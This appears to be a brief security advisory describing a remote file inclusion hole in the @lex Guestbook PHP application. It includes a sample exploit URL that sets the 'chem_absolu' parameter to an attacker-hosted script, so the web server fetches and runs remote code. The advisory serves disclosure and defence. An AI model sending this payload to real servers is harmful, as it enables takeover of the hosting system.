source: https://www.securityfocus.com/bid/11260/info

A vulnerability is reported to exist in the @lexPHPTeam @lex Guestbook software that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system. The issue exists due to improper validation of user-supplied data.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.

http://www.example.com/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f